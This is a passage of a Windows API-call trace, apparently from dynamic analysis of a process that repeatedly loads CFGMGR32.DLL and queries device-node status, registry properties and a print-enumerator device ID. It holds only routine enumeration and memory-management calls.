(hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0229.624] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0229.624] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0229.624] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0229.624] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0229.624] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0229.625] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0229.625] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0229.625] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0229.625] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0229.625] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0229.625] malloc (_Size=0x18) returned 0x20abc281e40 [0229.626] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x15, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0229.626] malloc (_Size=0x48) returned 0x20abc27cb20 [0229.626] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x44a2069f, dwHighDateTime=0x1d9eb0c)) [0229.626] SetEvent (hEvent=0x248) returned 1 [0229.632] malloc (_Size=0xd8) returned 0x20abc284e70 [0229.632] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0229.632] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0229.633] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0229.633] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0229.633] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0229.633] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0229.633] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0229.633] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0229.634] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0229.634] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0229.634] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0229.634] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0229.682] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0229.682] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0229.682] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0229.682] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0229.683] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0229.683] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0229.683] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0229.683] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0229.683] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0229.683] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0229.684] malloc (_Size=0x18) returned 0x20abc281ac0 [0229.684] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x15, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0229.684] malloc (_Size=0x48) returned 0x20abc27cb20 [0229.684] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x44ab9057, dwHighDateTime=0x1d9eb0c)) [0229.685] SetEvent (hEvent=0x248) returned 1 [0229.688] malloc (_Size=0xd8) returned 0x20abc284e70 [0229.688] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0229.689] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0229.689] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0229.689] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0229.689] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0229.689] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0229.689] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0229.689] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0229.690] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0229.690] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0229.690] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0229.690] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0229.690] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0229.690] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0229.690] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0229.691] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0229.691] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0229.691] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0229.691] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0229.691] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0229.691] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0229.691] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0229.692] malloc (_Size=0x18) returned 0x20abc281de0 [0229.692] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0229.692] malloc (_Size=0x48) returned 0x20abc27cb20 [0229.692] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x44ab9057, dwHighDateTime=0x1d9eb0c)) [0229.693] SetEvent (hEvent=0x248) returned 1 [0229.700] malloc (_Size=0xd8) returned 0x20abc284e70 [0229.700] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0229.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0229.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0229.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0229.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0229.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0229.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0229.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0229.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0229.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0229.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0229.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0229.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0229.702] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0229.702] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0229.702] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0229.702] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0229.702] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0229.702] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0229.702] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0229.703] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0229.703] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0229.703] malloc (_Size=0x18) returned 0x20abc2819e0 [0229.703] CM_Get_Device_IDA (in: dnDevInst=0x16, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\PRINTENUM\\{BF5CF224-19D6-4CE8-BB5A-E42CD3DCE5E3}") returned 0x0 [0229.703] malloc (_Size=0x48) returned 0x20abc27cb20 [0229.703] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x44adf2e2, dwHighDateTime=0x1d9eb0c)) [0229.704] SetEvent (hEvent=0x248) returned 1 [0229.707] malloc (_Size=0xd8) returned 0x20abc284e70 [0229.707] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0229.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0229.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0229.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0229.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0229.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0229.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0229.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0229.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0229.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0229.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0229.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0229.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0229.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0229.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0229.710] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0229.710] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0229.710] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0229.710] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0229.710] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0229.710] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0229.710] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0229.711] malloc (_Size=0x18) returned 0x20abc2820e0 [0229.711] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0229.711] malloc (_Size=0xe6) returned 0x20abc2867b0 [0229.712] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2867b0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2867b0, pulLength=0x2dc22fd3f8) returned 0x0 [0229.712] free (_Block=0x20abc2867b0) [0229.713] malloc (_Size=0x48) returned 0x20abc27cb20 [0229.713] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x44b05a88, dwHighDateTime=0x1d9eb0c)) [0229.713] SetEvent (hEvent=0x248) returned 1 [0229.716] malloc (_Size=0x18) returned 0x20abc2819a0 [0229.716] SafeArrayPutElement (psa=0x20abba80750, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0229.716] free (_Block=0x20abc2819a0) [0229.716] malloc (_Size=0x18) returned 0x20abc281e00 [0229.716] SafeArrayPutElement (psa=0x20abba80750, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0229.716] free (_Block=0x20abc281e00) [0229.716] malloc (_Size=0x18) returned 0x20abc281e60 [0229.716] SafeArrayPutElement (psa=0x20abba80750, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0229.716] free (_Block=0x20abc281e60) [0229.716] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d570 [0229.716] SafeArrayGetDim (psa=0x20abba80750) returned 0x1 [0229.716] SafeArrayGetLBound (in: psa=0x20abba80750, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0229.717] SafeArrayGetUBound (in: psa=0x20abba80750, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0229.717] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0229.717] SafeArrayGetDim (psa=0x20abba80750) returned 0x1 [0229.717] SafeArrayGetUBound (in: psa=0x20abba80750, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0229.717] SafeArrayGetElemsize (psa=0x20abba80750) returned 0x8 [0229.717] SafeArrayGetElement (in: psa=0x20abba80750, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0229.717] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba935b0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0229.718] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba935b8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0229.718] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba935c0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0229.718] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0229.719] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d570) returned 1 [0229.719] malloc (_Size=0xd8) returned 0x20abc284e70 [0229.720] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0229.720] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0229.720] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0229.720] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0229.720] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0229.720] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0229.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0229.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0229.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0229.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0229.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0229.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0229.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0229.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0229.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0229.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0229.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0229.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0229.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0229.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0229.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0229.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0229.723] malloc (_Size=0x18) returned 0x20abc281dc0 [0229.723] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0229.723] malloc (_Size=0x54) returned 0x20abc2aa210 [0229.724] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2aa210, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2aa210, pulLength=0x2dc22fd3f8) returned 0x0 [0229.724] free (_Block=0x20abc2aa210) [0229.724] malloc (_Size=0x48) returned 0x20abc27cb20 [0229.724] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x44b05a88, dwHighDateTime=0x1d9eb0c)) [0229.725] SetEvent (hEvent=0x248) returned 1 [0229.781] malloc (_Size=0x18) returned 0x20abc281d60 [0229.781] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0229.781] free (_Block=0x20abc281d60) [0229.781] malloc (_Size=0x18) returned 0x20abc281b00 [0229.781] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0229.782] free (_Block=0x20abc281b00) [0229.782] malloc (_Size=0x18) returned 0x20abc282000 [0229.782] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abba79a68) returned 0x0 [0229.782] free (_Block=0x20abc282000) [0229.782] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c870 [0229.783] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0229.783] SafeArrayGetLBound (in: psa=0x20abba7ffd0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0229.783] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0229.783] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79bb0 [0229.783] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0229.783] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0229.783] SafeArrayGetElemsize (psa=0x20abba7ffd0) returned 0x8 [0229.784] SafeArrayGetElement (in: psa=0x20abba7ffd0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0229.785] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93450, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0229.785] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93458, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0229.786] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93460, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0229.787] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79bb0) returned 1 [0229.787] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c870) returned 1 [0229.789] malloc (_Size=0xd8) returned 0x20abc284e70 [0229.789] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0229.789] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0229.789] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0229.789] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0229.790] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0229.790] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0229.790] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0229.790] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0229.790] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0229.790] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0229.791] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0229.791] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0229.791] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0229.791] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0229.791] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0229.792] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0229.792] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0229.792] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0229.792] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0229.792] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0229.792] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0229.792] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0229.793] malloc (_Size=0x18) returned 0x20abc281c80 [0229.793] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0229.794] malloc (_Size=0x48) returned 0x20abc27cb20 [0229.794] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: 